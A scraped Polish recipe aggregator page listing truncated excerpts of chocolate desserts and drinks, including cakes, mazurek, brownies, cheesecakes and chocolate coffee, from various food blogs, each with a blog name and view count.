cukru waniliowego 2 szklanki mąki szklanka oleju łyżeczka sody 2 jabłka duża garść rodzynek Polewa: 2 łyżki masła 3 łyżki wody 2 łyżki kakao 100 g gorzkiej lub mlecznej czekolady garść płatków migdałowych   Przygotowanie Jajka ubijamy, stopniowo dodając cukier i cukier waniliowy. Cały czas miksując, dodajemy mąkę wymieszaną z sodą i olej. Miksujemy do uzyskania jednolitej masy. Jabłka obieramy(...)dobrze nagrzanego piekarnika. Pieczemy w temperaturze 180 stopni przez ok 40 minut. Ciasto studzimy. Przygotowujemy polewę: do garnuszka wkładamy wodę, masło i kakao i zagotowujemy. Następnie dodajemy pokruszoną czekoladę i gotujemy na wolnym ogniu cały czas mieszając, aż się rozpuści. Polewę lekko studzimy, dodajemy migdały i mieszamy. Ciepłą, ale nie gorącą wylewamy na ciasto

e-PrzepisyKulinarne
Tort czekoladowo — czekoladowy 97

tort powstał specjalnie dla mojej przyjaciółki, która uwielbia czekoladę. Nie wyobrażałam sobie innego tortu na jej 30 urodziny niż takiego przepełnionego czekoladą. Wilgotne ciasto, delikatny krem i malinowa niespodzianka. Po prostu niebo w gębie. Tort czekoladowo — czekoladowy nie jest trudny, ale trzeba mu poświęcić chwilę. Obiecuję, że warto :). Smak jest obłędny. Ciasto czekoladowe jest wilgotne i nie wymaga dodatkowego nasączenia

Wypieki i Rumieńce
Bajaderki (Ziemniaczki) 409

ciasta biszkoptowego (najlepiej lekko podsuszonego) 75 g herbatników 1/3 szklanki mleka 1/3 szklanki cukru pudru ok. 100 g konfitury wiśniowej (lub dżemu) 50 g masła 50 g czekolady gorzkiej czubata łyżka kakao wiórki kokosowe drobno posiekane orzechy Bajaderki (Ziemniaczki) - Sposób przygotowania: Mleko podgrzewamy wraz z masłem i cukrem pudrem. Następnie dodajemy czekoladę oraz kakao i nadal podgrzewamy do rozpuszczenia składników

Słodka Strona
Czekoladowe ciasto gryczane z orzechami, suszoną śliwką i żurawiną 142

kaszy gryczanej ugotowanej w 400 ml wody 5 jajek 150 g cukru trzcinowego 120 g mąki pełnoziarnistej 2 łyżeczki proszku do pieczenia 100 g masła 150 g czekolady gorzkiej 25 g posiekanej suszonej żurawiny 25 g posiekanej suszonej śliwki 25 g posiekanych orzechów włoskich lub laskowych Kaszę gotujemy do miękkości pod przykryciem, na małym ogniu ok 20 minut. Pozostawiamy(...)ostudzenia. Wystudzoną kaszę mielimy blenderem na gładką masę. Mąkę mieszamy w misce z proszkiem do pieczenia. W garnku umieszczamy masło i rozpuszczamy je. Dodajemy kostki czekolady i mieszamy do rozpuszczenia. Jajka ubijamy na puszystą masę, małymi partiami dodajemy cukier, nadal miksując. Następnie w trzech turach dodajemy masę czekoladową i miksujemy. Dodajemy kaszę i ponownie miksujemy, aby rozbić grudki. Wsypujemy mąkę

Chocolate Muffin Blog
Mini serniczki bananowe na kakaowym spodzie 178

Pozostaję w klimacie serniczków - ostatnio były mini serniczki z kakaowymi markizami i czekoladą , dziś bananowe na czekoladowym spodzie z wiórkami czekoladowymi i bitą śmietaną. Pycha! :) Składniki (na 8-9 sztuk): 100 g czekoladowych herbatników lub markiz 40 g roztopionego masła Masa serowa 1 kostka (250 g) twarogu tłustego lub półtłustego dokładnie zmielonego 1/4 szklanki kwaśnej śmietany 2 duże łyżki cukru(...)papilotek i wkładamy do lodówki na min. 15 minut. Wszystkie składniki masy serowej wkładamy do miski (banana dokładnie rozdrabniamy widelcem), dodajemy płatki czekoladowe lub pokrojoną w drobną kostkę czekoladę (polecam gorzką!) i mieszamy wszystko dokładnie ręcznie bądź przy pomocy miksera, tylko do połączenia się składników. Przelewamy masę na schłodzony spód do ok. 3/4 papilotek. Wkładamy do piekarnika nagrzanego

Ewa Kuchennie - Kuchnia to serce domu!
kawa czekoladowa 193

składniki: 1 filiżanka naparu kawy 1-2 łyżeczki czekolady w proszku / w zależności od wielkości filiżanki bita śmietana skórka starta z pomarańczy opcjonalnie: cukier wykonanie: 3/4 filiżanki napełniamy gorącą kawą, dodajemy czekoladę, opcjonalnie dosładzamy, mieszamy. Podajemy z bitą śmietana i skórką startą z pomarańczy

Domowy Smak Jedzenia
Kawa z białą czekoladą 165

nastroju będzie smaczna kawa. Myślę, że ta wersja zostanie moją ulubioną. Delikatny aksamitny smak, tego właśnie potrzebowałam dzisiejszego ranka, a Wy jaki macie ulubiony smak?  Składniki: tabliczka białej czekolady 4 łyżeczki kawy rozpuszczalnej 200 ml śmietany 30% 1/2 szklanki mleka Wykonanie: Mleko wlewamy do garnka i podgrzewamy na piecu. Dodajemy kawę i białą czekoladę. Mieszamy wszystko aż składniki się

ciastkarnia na kruchym spodzie
940. Pralinki z... fasoli?! 169

Kakaowe trufle fasolowe z daktylami i gorzką czekoladą (biała fasola, m ąka kokosowa, banan, gorzka czekolada, daktyle, cynamon. kawa) Skoro była jasna wersja to czas na ciemną.  Spakowane, kawa w rękę i czas do szkoły, ale przy takiej pogodzie człowiek  od razu z innym nastawieniem stoi na stacji o tej 6 rano

More food, love and dreams
Brownie z malinami 165

właśnie takie wkładałam do środka, czyniąc brownie lekko kwaskowym w środku. Zobacz również inne przepisy na -----> BROWNIE Brownie z malinami - przepis: Składniki: (na 20 muffinek) 250 g gorzkiej czekolady 250 g masła 300 g cukru 50 g cukru pudru 4 jajka 32 g cukru waniliowego 10 ml (1 opakowanie) olejku waniliowego 185 g mąki pszennej około(...)malin 100 g orzeszków ziemnych solonych Brownie z malinami - jak zrobić? Gorzką czekoladę połamać na kawałki, rozpuścić wraz z masłem w rondelku, przestudzić, by masa była chłodna, ale płynna. Jajka ubić na puszystą masę, partiami dodawać cukier, cukier puder, cukier waniliowy oraz olejek waniliowy. Do masy dodać przestudzoną masę czekoladową, wymieszać do połączenia składników. Partiami dodawać przesianą mąkę, delikatnie wmieszać

Moje Qulinaria
Mazurek czekoladowo-jabłkowy 142

jajko • 2 żółtko • 1 płaska łyżeczka proszku do pieczenia Wypełnienie z jabłek: • 4 duże jabłka • 0,5 galaretki cytrynowej • Ewentualnie cukier do smaku (niekoniecznie) Wypełnienie czekoladowe: • 1,5 tabliczki czekolady deserowej • 0,5 galaretki cytrynowej • 1 łyżka śmietany • 7 dag masła • 0,5 szklanki wody Mąkę przesiać na stolnicę. Dodać do niej pozostałe składniki i zarobić ciasto, rozwałkować(...)szklanki). Na koniec dodać do całości galaretkę. Zdjąć z ognia i ostudzić. Zimną masę wykładać w co drugą kratkę na cieście. Galaretkę rozpuścić w przegotowanej wodzie. Masło oraz czekoladę rozpuścić. Dodać śmietanę , a następnie rozpuszczoną galaretkę. Całość dokładnie wymieszać i ostudzić.Ostudzoną masę wylać w pozostałe puste kartki.Dowolnie udekorować. Ps.Kończę z blogowaniem..tzn nie kończę na zawsze tylko biorę

Moje domowe kucharzenie
Banany w cieście francuskim 189

Facebooku Zapraszam! Będziesz wtedy zawsze na bieżąco z nowymi wpisami! Możesz również polubić ten przepis.   Składniki: banany – ile dusza zapragnie ciasto francuskie* cynamon sos czekoladowy (lub tabliczka czekolady)   Przygotowanie: Banany obrać ze skórki i obsypać cynamonem . Ciasto francuskie pokroić w paski o szerokości ok. 2 cm i owinąć nimi banany. Piec w temperaturze 180 stopni do czasu(...)ciasto będzie złocisto brązowe. Podawać polane sosem czekoladowym . Można zamiast sosu rozpuścić czekoladę w kąpieli wodnej lub na bardzo małym ogniu podlewając odrobiną mleka.   * Ciasto francuskie – można je kupić gotowe w każdym supermarkecie. Koszt kupienia i samodzielnego wykonania jest porównywalny. Czasem nawet taniej jest kupić gotowe – na pewno zdecydowanie szybciej Post Banany w cieście francuskim pojawił się poraz

Za drzwiami kuchni
Mazurek różany z czekoladą 199

Witajcie dziś w roli głównej mazurek z gorzką czekoladą. Ma posmak różany i nie jest aż tak słodki. Dobrze że zdarzyłam zrobić zdjęcie bo prawie bym się zagapiła a została by tylko połowa ciasta. Składniki: Ciasto: 250 g mąki pszennej 200 g masła 1/3 kubka cukru pudru  3 żółtka 3 łyżeczki proszku do pieczenia niewielka ilość barwnika różowego spożywczego(...)użyłam w proszku) 2 łyżki wody różanej Masa różano - czekoladowa 80 g czekolady gorzkiej  4 łyżki marmolady różanej  3 łyżki wody różanej 1 łyżka masła Przygotowanie: Przygotowujemy okrągłą tortownicę (21 cm), wykładamy dno papierem do pieczenia a boki smarujemy masłem i posypujemy bułką tartą. Masło ucieramy w mikserze na puszystą masę. Dodajemy przesianą mąkę z proszkiem do pieczenia

Panda i jej świat
Babka z ricottą, czekoladą i bakaliami 117

miękkiego masła 250 g sera ricotta 1/2 szklanki cukru 2 płaskie łyżeczki proszku do pieczenia 3 jajka szczypta soli 1/2 łyżeczki aromatu waniliowego 50 g drobno posiekanej czekolady 50 g rodzynek CZAS PRZYGOTOWANIA: 70 MIN POZIOM TRUDNOŚCI: ŚREDNI 1. Masło ucieramy razem z cukrem na puszystą masę. Dodajemy ricottę, jajka, aromat waniliowy, cały czas ucierając. W drugiej misce łączymy mąkę(...)sól i proszek do pieczenia. Przesypujemy do serowej masy i krótko miksujemy jedynie do połączenia składników. Dodajemy czekoladę i rodzynki, mieszamy. 2. Piekarnik rozgrzewamy do 180 stopni. Formę do babki natłuszczamy i posypujemy bułką tartą, mąką lub kaszą manną. Do formy wlewamy przygotowane ciasto. Wkładamy do piekarnika i pieczemy 50 minut. Pozostawiamy do ostygnięcia w formie. Gotową babkę posypujemy cukrem

My Culinary Art
Ciasto Lion 10559

sztuki (razem 150g) Mascarpone – 500g Kajmak w puszce – 1 puszka (460g) Śmietana kremówka – 660ml Śmietan-fix – 3 opakowania Cukier puder – 3 łyżki Mleczna czekolada – 70g   Ciasto Lion – Wykonanie: Spód blaszki o wymiarach 25 x 25 cm wyłożyć folią spożywczą. Ułożyć warstwę herbatników, a na niej rozprowadzić masę kajmakową (2 czubate łyżki kajmaku(...)Śmietanę kremówkę ubić na sztywno. Cukier puder wymieszać ze śmietan-fixem, dodać do śmietany i krótką chwilę miksować, do połączenia składników. Przełożyć śmietanę na ciasto, wyrówanać. Posypać wierzch startą czekoladą. Wstawić na kilka godzin do lodówki (najlepiej na całą noc). Smacznego! :) PS. Dodatkowy batonik można poświęcić na ozdobienie wierzchu ciasta – tak jak na załączonych zdjęciach.   The post Ciasto

Kulinarne Przeboje
Sernik biała czekolada z nutą pomarańczy 136

Kolejna wariacja na temat sernika. Dziś jako dodatek główny biała czekolada. Sernik jest bardzo delikatny dzięki śmietanie kremówce. Nutka pomarańczy dodatkowo wzbogaca smak i dzięki temu ciasto nie jest mdłe. Polewa śmietanowa z maliną idealnie komponuje się z pozostałymi smakami. Nowy post Sernik biała czekolada z nutą pomarańczy pojawił się w Wypieki i Rumieńce

Wypieki i Rumieńce
Mazurek czekoladowy 167

cukru pudru 150 g masła 1 żółtko 2 łyżki śmietany 18% Masa czekoladowa: 150 g masy kajmakowej powstałej z ugotowanego mleka skondensowanego lub gotowej masy 2 tabliczki gorzkiej czekolady Dodatkowo: ok. 2 garści bakalii Mąkę dokładnie wymieszać z cukrem pudrem. Dodać żółtko, śmietanę i pokrojone w kostkę masło. Wszystkie składniki dokładnie posiekać i zagnieść jednolite, zwarte ciasto. Ciasto owinąć(...)minut aż ciasto się zarumieni. Masę kajmakową (kupioną gotową w puszce lub uzyskaną poprzez gotowanie mleka skondensowanego przez ok. 25 godziny) dokładnie mieszamy z rozpuszczoną w kąpieli wodnej czekoladą. Studzimy i przelewamy na wystudzony wcześniej spód. Zdobimy bakaliami. Smacznego

Ewa Kuchennie - Kuchnia to serce domu!
Muffiny bananowo-czekoladowe 195

Składniki: 3 średnie banany 100 gram masła 100 gram czekolady deserowej 2 jajka 250 gram mąki pszennej tortowej 150 gram cukru trzcinowego 11/2 łyżeczki proszku do pieczenia 1 opakowanie cukry wanilinowego Przygotowanie: W rondlu roztapiam czekoladę z masłem i odstawiam do wystygnięcia. Obieram banany i łamię na mniejsze części, wkładam do miski i miażdżę na papkę. Za pomocą miksera ubijam

Pause Gotowanie!
928. Fasolowe pralinki & Sernik na niedziele 153

Kokosowe pralinki fasolowe z biał ą  czekolad ą (biała fasola, m ąka kokosowa, banan, biała czekolada, wiórki kokosowe) Bo kto powiedział, że pralinki musz ą być nie zdrowe?   Noo i i do tego ukochana kawa, śniadanie idealne ^^   Aa na niedzielne popołudnie upiekłam sernik kajmakowy, bo okropnie mi do głowy wszedł i wyjść nie chciał, nie dziwię

More food, love and dreams
Piegowate trójkąty 139

pieczenia szczypta soli 110 g miękkiego masła (Masła absolutnie nie można zastępowac margaryną!) 90 g drobnego cukru 1 żółtko 1 łyżeczka ekstraktu waniliowego 100 g czekoladowych kropelek lub posiekanej czekolady Przygotować 2 formy do pieczenia o średnicy 20-22 cm. Mąkę wymieszać z proszkiem do pieczenia i solą. Odstawić na bok. Masło utrzeć z cukrem na jasną i puszystą masę(...)Dodać żółtko i ekstrakt waniliowy, wymieszać. Stopniowo dodawać mąkę, cały czas mieszając. Kilkakrotnie zebrać mieszankę ze ścianek miski. Na koniec dodać czekoladę, wymieszać łyżką. Masę podzielić na dwie części. Każdą z części przełożyć do formy i wylepić dno. Piec w nagrzanym do 190-200°C piekarniku przez 15-17 minut. Przy pieczeniu na dwóch poziomach - w połowie pieczenia zamienić blachy

Pełny talerz
Babka czekoladowo-rumowa z suszonymi śliwkami 147

kostka masła 1 szklanka cukru 4 jajka 1i 3/4 szklanki mąki 2 łyżeczki proszku do pieczenia 4 czubate łyżeczki kakao 1 łyżeczka kawy rozpuszczalnej Na polewę : 1 kostka gorzkiej czekolady 1/4 szklanki śmietany 30% Wykonanie : Śliwki pokroić na pół , zalać rumem , odstawić na kilkanaście minut. Miękkie masło utrzeć dokładnie z cukrem. Nadal ucierając wbijać po jednym jajku. Następnie wsypać wszystkie(...)masy śliwki wraz z rumem ,w którym się moczyły. Wymieszać. Wyłożyć do formy i piec ok 1 godz. w 170'C. Śmietanę na polewę zagotować i zalać nią połamaną czekoladę . Po 2 minutach wymieszać całość do uzyskania jednolitej polewy. Polać wystudzoną babkę. Smacznego :) Polecam

Malinowa Kawiarenka
Czekolada z orzechami 107

domu jesteśmy w stanie przygotować prawie wszystko to, co możemy kupić w sklepie. Dzisiaj udowodnię wam, że każdy z nas może zrobić mleczną czekoladę. Polecam dodać do niej jakieś dodatki, np. rodzynki, żurawinę, orzechy - jednym słowem to co lubicie. Poniżej umieszczam przepis na pyszną, domową czekoladę z orzechami włoskimi i nerkowca. Smaki dzieciństwa! Składniki

Ugotować
Chocohotopots - gorące czekoladowe ciasto 86

minut. Odsyłam Was do filmiku Nigelli Lawson na  chocopots , gdzie możecie zobaczyć oryginalną recepturę na powyższy deser. Składniki na 2 porcje: 70 g masła 70 g gorzkiej czekolady 60 g cukru pudru 1 jajko 1 łyżka mąki pszennej 1. W rondelku rozpuścić masło, następnie dodać połamaną czekoladę i wszystko ze sobą wymieszać, aż powstanie jednolita, gładka masa. Ostudzić

Ugotować
Pianka truskawkowa 138

osobom, które lubią mało słodkie desery. Przepis dodaje do akcji Milion smaków truskawek. Składniki na 4 porcje: 400 g jogurtu naturalnego kilka sztuk truskawek 1 galaretka truskawkowa starta czekolada do dekoracji Galaretkę rozpuścić w jednej szklance (250 ml) wrzącej wody i ostudzić. Jogurt ubić za pomocą miksera, a na sam koniec dodać ostudzoną (galaretka nie może stężeć!) galaretkę. Przygotowaną masę(...)przelać do pucharków i umieścić w lodówce. Gdy masa lekko stężeje - na samym wierzchu ułożyć połówki truskawek. Ponownie schłodzić, a przed podaniem zetrzeć 2 kostki czekolady

Ugotować
Krem czekoladowo-orzechowy 126

czekoladowy krem na kanapki. W smaku i w konsystencji przypomina nutellę. Jego przygotowanie jest banalnie proste. Składniki na 1 słoik 250 ml: 100 g orzechów laskowych 1 tabliczka gorzkiej czekolady (100 g) ¾ szklanki (pojemność szklanki 250 ml) mleka skondensowanego słodzonego 3 łyżeczki miodu Orzechy laskowe obrać ze skórki, tzn. najlepiej wrzucić je na suchą patelnię. Włączyć gaz i podgrzać. Delikatnie(...)przełożyć je na czysty papierowy ręcznik, zawinąć i całość dosyć mocno przesuwać po blacie. Dzięki temu skórki same odejdą od orzechów.  Do rondelka wlać mleko skondensowane, dodać połamaną czekoladę i miód. Całość wstawić na mały ogień i trzymać tak długo (cały czas mieszając), aż wszystkie składniki się ze sobą połączą.  Za pomocą blendera zmiksować orzechy. Najlepiej mielić

Ugotować
Tort czekoladowo-wiśniowy 163

łyżki soku z cytryny 1/3 szklanki wrzącej wody ozdoby wiśnie w żelu: 100 g wiśni 1 łyżeczka żelatyny  pół łyżki mąki ziemniaczanej polewa czekoladowa: 125 g ciemnej czekolady 125 g śmietany 30% perełki cukrowe (kolorowe) 1. Na samym początku do rondelka wlać: olej, pół szklanki wody, zwykły cukier i kakao. Całość ze sobą połączyć, zagotować i ostudzić. W międzyczasie(...)gęsta masa, tj. wiśnie w żelu. Następnie przygotować polewę czekoladową. Śmietanę 30% wlać do rondelka i zagotować. Następnie zdjąć z ognia i po 1-2 minutach dodać połamaną gorzką czekoladę. Chwilę odczekać i po kilku minutach całość ze sobą połączyć. Przygotowaną polewą udekorować wierzch i boki tortu. Od razu udekorować wiśniami w żelu i kolorową posypką. Ponownie wstawić do lodówki

Ugotować
Kubanka 217

ciasto? Stwierdził, że jest ono najlepsze w tym roku. W sumie mamy dopiero marzec ale ocena wcale nie jest na wyrost. Ciasto jest bardzo smaczne, łączny w sobie słodycz czekolady, cierpkość śliwek i delikatny smak śmietany połączony z gorzkim kakaem. Myślę, że zachęcę was tym do wypróbowania przepisu. W mojej wersji ciasto upiekłam na spodzie z ciasta ucieranego. Jeżeli wolicie(...)kostki  masła  3 łyżki cukru Krem śmietanowy: 500 ml śmietany  3 łyżeczki żelatyny 4 łyżki cukru pudru dodatkowo paczka duża herbatników dżem śliwkowy kakao gorzkie tabliczka czekolady mlecznej Wykonanie:  Ciasto: Masło ucieramy z cukrem na biały puch i dodajemy po jednym jajku a następnie po łyżce śmietany cały czas ucierając. Na koniec dodajemy wszystkie sypkie składniki

ciastkarnia na kruchym spodzie
Ciasto Kinder Pingui 151

łyżki oleju Masa: 400 ml śmietany 36% pół szklanki cukru pudru (50 g) 3 łyżeczki cukru waniliowego (wanilinowego) 250 g serka mascarpone 2 płaskie łyżki żelatyny Polewa: 200 g czekolady (dałam mleczną, może być gorzka) 50 g masła 3 łyżki wody 1 łyżeczka oleju Przygotowanie Przygotowujemy biszkopt: jajka ubijamy z cukrem. Następnie wlewamy olej i krótko miksujemy i wsypujemy mąkę(...)chwilę miksujemy. Ciasto przelewamy na blaszkę wyłożoną papierem do pieczenia (moja ma wymiary ok 24x24cm). Pieczemy w temperaturze 180 C przez około 30 minut. Upieczony biszkopt studzimy. Przygotowujemy polewę: czekoladę łamiemy na kawałki, wkładamy do rondelka, dodajemy pozostałe składniki i podgrzewamy na małym gazie, cały czas mieszając, aż wszystkie składniki się rozpuszczą. Polewę trochę studzimy. Następnie robimy masę. Żelatynę rozpuszczamy

e-PrzepisyKulinarne
Żytnie placuszki czekoladowe z twarożkiem kokosowym i kiwi 128

Placuszki o smaku Bounty wzbogacone o dojrzałe kiwi :) Każdy kiedyś miał swój ulubiony batonik :) Moim zawsze był Bounty, z wilgotnym kokosowym nadzieniem, oblany gorzką czekoladą... Batoników już nie jadam. Poważnie. Zerwałam ze słodyczami już jakiś czas temu i jestem z tego powodu bardzo dumna. Nie toleruję sklepowych ciasteczek, żelków, cukierków i tego wszystkiego czym zajadało się w dzieciństwie. Cukru(...)jednak nie brakuje, ponieważ spożywam go razem z owocami i gorzką czekoladą :) Takie również są te placuszki. Bardzo czekoladowe, z kremowym, kokosowym dodatkiem i świeżym kiwi. W sam raz słodkie, przygotowane ze zdrowej mąki i dietetycznych składników. Bardzo polecam osobom, które - tak jak ja - nie mogą obejść się bez słodkiego śniadania :) Składniki : 3 łyżki mąki żytniej 1 jajko 1/4 łyżeczki

Chocolate Muffin Blog
Babeczka Piaskowa z Adwokatem w czekoladzie 221

jedną mieszamy z kakao,  na przemian wylewamy do wysmarowanej masłem foremki pomiędzy wlewając krem Pieczemy w temp. 160*C przez około 60 minut Przygotowujemy polewę czekoladową- rozpuszczamy tabliczkę czekolady w kąpieli wodnej i gdy babka ostygnie, oblewamy ją:) Smacznego :) P.S Obłędnie wychodzi także bez kakao, w keksówce, z ajerkoniakiem wylanym na samym wierzchu, oblana czekoladą

Luźna Kuchnia
Naleśniki czekoladowe 148

Ciasto na naleśniki 1,5szklanki mąki 2 szklanki mleka 2 jaja 1 szczypta soli 5 łyżek posiekanej czekolady Dodatki polewa czekoladowa bita śmietana świeże owoce (np. truskawka, malina, banan, kiwi, jagody) Naleśniki czekoladowe Wykonanie Do wyrobienia ciasta na nasze naleśniki przygotuj wysokie naczynie. Dodajemy kolejno mleko, jaja, mąkę, całość mieszamy ręcznie trzepaczką lub za pomocą miksera. Dokładne wyrobienie ciasta jest(...)najważniejszym etapem, ciasto powinno być równomierniej konsystencji i nie może być w nim grudek. Gdy ciasto jest już dobrze wyrobione dodajemy posiekaną czekoladę i jeszcze raz dokładnie mieszamy. Tak przygotowane ciasto rozprowadzamy po rozgrzanej patelni, tutaj polecana jest patelnia teflonowa, jeżeli taką nie dysponujemy może być tradycyjna, ale trzeba pamiętać aby wcześniej rozprowadzić na niej odrobinę tłuszczu np. łyżeczka oleju

Naleśniki
Wegański chlebek kokosowo-bananowy 137

pasty daktylowej 2 łyżeczki nasion chia + 3 łyżki gorącej wody lub 2 łyżki mielonego siemienia lnianego + 3 łyżki gorącej wody 1/3 szkl. mleka roślinnego (najlepiej kokosowe) ½ tabliczki gorzkiej czekolady 2 garście rodzynek Piekarnik rozgrzej do 180°C. Formę keksówkę wyłóż papierem do pieczenia. Płatki, migdały, cynamon i wiórki kokosowe, jeśli ich używasz, wrzuć do blendera i zmiksuj na drobny proszek(...)międzyczasie obierz banany i za pomocą widelca zgnieć na papkę. Dodaj bananową miazgę oraz roślinne jajo, syrop klonowy lub pastę daktylową oraz mleko do suchych składników i dokładnie zamieszaj. Czekoladę posiekaj i dodaj wraz  rodzynkami do ciasta. Ponownie zamieszaj. Masę wyłóż do przygotowanej wcześniej formy i zapiekaj przez ok. 1 godzinę. Odczekaj chwilę, wyjmij z formy i przestudź

Roślinna - blog wegański
Czekoladowe ciasto z tofu 142

prosiła- zapakować sobie na drogę powrotną do domu.  Składniki: 1 szkl. mąki orkiszowej 1 szkl. mąki owsianej 1/3 łyżeczki sody 1 płaska łyżeczka proszku do pieczenia ½ tabliczki gorzkiej czekolady 1/3 szkl. kakao 1 szkl. mleka sojowego 1 dojrzały banan ½ szkl. musu jabłkowego (lub startych na drobnych oczkach jabłek) ¾ szkl. syropu klonowego 1 łyżka octu jabłkowego 2 porcje zamiennika jajek(...)szkl. mleka sojowego 3 kopiaste łyżki kakao Piekarnik rozgrzej do 180°C. Tortownicę o średnicy 20 cm wyłóż papierem do pieczenia. Do dużej miski wsyp wszystkie suche składniki. Czekoladę posiekaj w drobne kostki i dorzuć do miski. W osobnym naczyniu wymieszaj mleko, syrop, rozgniecionego banana, mus jabłkowy, ocet i siemię. Zamieszaj, przelej do miski z suchymi składnikami i dokładnie wymieszaj

Roślinna - blog wegański
Mazurek czekoladowo-orzechowy 178

masła 250 g mąki pszennej 2 łyżki ciemnego kakao 1/2 szklanki orzechów laskowych 2 jajka 3 łyżki cukru pudru Nadzienie: 500 g masy krówkowej (kajmakowej) 50 g czekolady deserowej 1/2 szklanki orzechów laskowych Przygotowanie: Kruche ciasto: Do miski przesiewamy mąkę, wsypujemy cukier puder i kakao. Dokładnie mieszamy, dodajemy żółtka, szczyptę soli, ugotowane i starte na tarce żółtka i masło, które(...)kakao, zmielone orzechy i mąkę. Wszystkie składniki dokładnie mieszamy i za pomocą szprycy wyciskamy rozetki przy brzegach podpieczonego spodu. Ponownie wstawiamy do piekarnika na około 15-20 minut. Nadzienie: Czekoladę roztapiamy w kąpieli wodnej, dodajemy masę krówkową i dokładnie mieszamy, aż składniki się połączą. Rozprowadzamy na upieczonym cieście i posypujemy uprażonymi na suchej patelni i lekko posiekanymi orzechami laskowymi. Schładzamy

Oryginalny smak
Wuzetka 159

mleka Krem: 250 g masła 2 łyżki cukru pudru 2 płaskie łyżki cukru waniliowego 5 łyżek zsiadłego mleka 1 szklanka śmietany - 18 lub 12% Polewa czekoladowa: 150 g gorzkiej czekolady 2 łyżki masła 2 łyżki mleka Dodatkowo: Dżem lub konfitura do przełożenia Śmietana kremówka na bitą śmietanę Ciasto: Masło, cukier i jajka dokładnie utrzeć mikserem. Cały czas miksując dodać dżem(...)Jeśli to nie pomoże - po prostu wyłożyć krem na ciasto - po nocy w lodówce krem będzie zwarty i cudowny. Krem wyłożyć na blat ciasta i przykryć drugim. Polewa czekoladowa: Czekoladę, masło i mleko rozpuścić w kąpieli wodnej i dokładnie wymieszać. Polewą wysmarować całe ciasto. Udekorować ubitą kremówką - najlepiej jej już nie dosładzać - ciasto będzie wystarczająco słodkie :) Smacznego :) Zapraszam do polubienia

Ewa Kuchennie - Kuchnia to serce domu!
Ciastka czekoladowe z płatkami owsianymi i orzechami laskowymi 105

Pierwotny przepis by na ciastka z nutellą, której w zasadzie w domu nie miewam ;) Składniki (na około 20-25 dużych ciastek): 1 szklanka mąki pszennej razwej 1 tabliczka gorzkiej czekolady 120 g miękkiego masła 1/2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody oczyszczonej 1/4 łyżeczki soli 1/2 szklanki brązowego cukru 1 duże jajko 1 łyżeczka ekstraktu z wanilii 1/2 szklanki(...)otrębów owsianych lub płatków owsianych drobno posiekane orzechy laskowe - u mnie około 200 gram orzechów prze obraniem Masło z cukrem ucieramy na gładką, białą masę. Dodajemy roztopioną czekoladę, jajko i ekstrakt z wanilii i ucieramy na gładką masę. Dodajemy proszek do pieczenia, sodę oczyszczoną, sól i mąkę i dokładnie łączymy wszystkie składniki. Na koniec wsypujemy płatki owsiane lub otręby

Ewa Kuchennie - Kuchnia to serce domu!
Piwne brownies: Październikowe Wyzwanie Blogerek 131

Dziękuję za pomoc w jego zdobyciu! :)) Piwo w smaku gorzkawe, dość mocne i mocno czekoladowe. No i czy może być coś lepszego do brownie? ;) Składniki: 150 g tabliczki gorzkiej czekolady 100 g masła 2 łyżki miodu szklanka piwa (najlepiej ciemnego lub jakiegoś pszenicznego - miodowego) 1 łyżka gorzkiego kakao 4 jajka 1/3 szklanki brązowego cukru szczypta soli szklanka mąki 1 łyżeczka(...)proszku do pieczenia garść orzechów laskowych W rondelku rozpuścić masło i czekoladę. Dodać miód, gorzkie kakao i piwo i dokładnie wymieszać i ostudzić. Jajka ubić z brązowym cukrem i szczyptą soli na kogel-mogel. Dodać rozpuszczone składniki z rondelka i dokładnie wymieszać. Wmieszać mąkę wymieszaną z proszkiem do pieczenia, dodać orzechy. Powstałe ciasto przelać do wyłożonej papierem do pieczenia blaszki

Ewa Kuchennie - Kuchnia to serce domu!
Sernik pomarańczowy 131

Dalszy ciąg wykorzystywania pomarańczy. Słodki, puszysty sernik, za oknem śnieg, a na talerzu wiosna! ;) Składniki: Spód czekoladowy: 100 g masła 100 g gorzkiej czekolady 50 g brązowego cukru 1 duże jajko 100 g mąki Masa serowa: 1 kg sera półtłustego trzykrotnie mielonego 200 g cukru 4 duże jajka 3 kopiaste łyżki mąki ziemniaczanej skórka starta z 2 pomarańczy(...)pomarańczy Dodatkowo: konfitura pomarańczowa kawałki pomarańczy Spód czekoladowy Masło i gorzką czekoladę rozpuszczamy w kąpieli wodnej. Dodajemy brązowy cukier i cały czas mieszając czekamy aż się rozpuści. Dodajemy jajko i mąkę i dokładnie mieszamy. Masę przelewamy do formy wyłożonej papierem do pieczenia i wstawiamy na 10 minut do piekarnika nagrzanego do 180 stopni. Masa serowa Wszystkie składniki na masę serową

Ewa Kuchennie - Kuchnia to serce domu!
Sernik na zimno na czekoladowym spodzie 347

komponuje się z waniliowym sernikiem na zimno. Składniki: Biszkopt: 3 duże jaja 1/4 szklanki drobnego cukru 1/2 szklanki mąki pszennej 30 g roztopionego i przestudzonego masła 8 kostek gorzkiej czekolady rozpuszczonych w 1 łyżce mleka, przestudzone 1 łyżka kakao szczypta soli Sos kakaowy: 30 g roztopionego masła 2 łyżki kakao 2 łyżki zimnej wody Masa serowa: 100 ml mleka(...)połączyły i żeby za bardzo nie napowietrzać masy serowej. Masę wylewamy na nasączony biszkopt. Wkładamy do lodówki na minimum 4 godziny - najlepiej na całą noc. Podajemy z rozpuszczoną gorzką czekoladą. Smacznego

Ewa Kuchennie - Kuchnia to serce domu!
Czekolada bez cukru 183

Kocham czekoladę. Mogłabym ją jeść kilogramami, ale z wiadomych względów staram się ograniczać. Ten przepis jest idealny dla wszystkich czekoladoholików. Słodycz bez zbędnych dodatków, chemii, cukru. I co najlepsze, możesz ją posypać czym tylko Ci się podoba - migdałami, solą, chili, orzechami, rodzynkami. Uwaga - mocno kokosowa i pyszna! Składniki (2 tabliczki): 2 łyżki oleju kokosowego nierafinowanego (2x30g) 2 łyżeczki kakao - niskotłuszczowe(...)nierozpuszczalne (można zastąpić karobem) 1 łyżeczka miodu (smak czekolady zależy od tego, jakiego rodzaju miodu użyjecie) Moje dodatki: 2 łyżeczki jagód goi łyżeczka płatków migdałów łyżeczka wiórków kokosowych kilka orzechów ziemnych niesolonych Olej kokosowy to świetny kosmetyk - ratuje suchą cerę i zniszczone włosy 1. Olej, miód i kakao wymieszać na gładką masę.   2. Blaszkę/talerz wyłożyć papierem do pieczenia

Powiedz dietom nie
Sernikobrownies z wiśniami 244

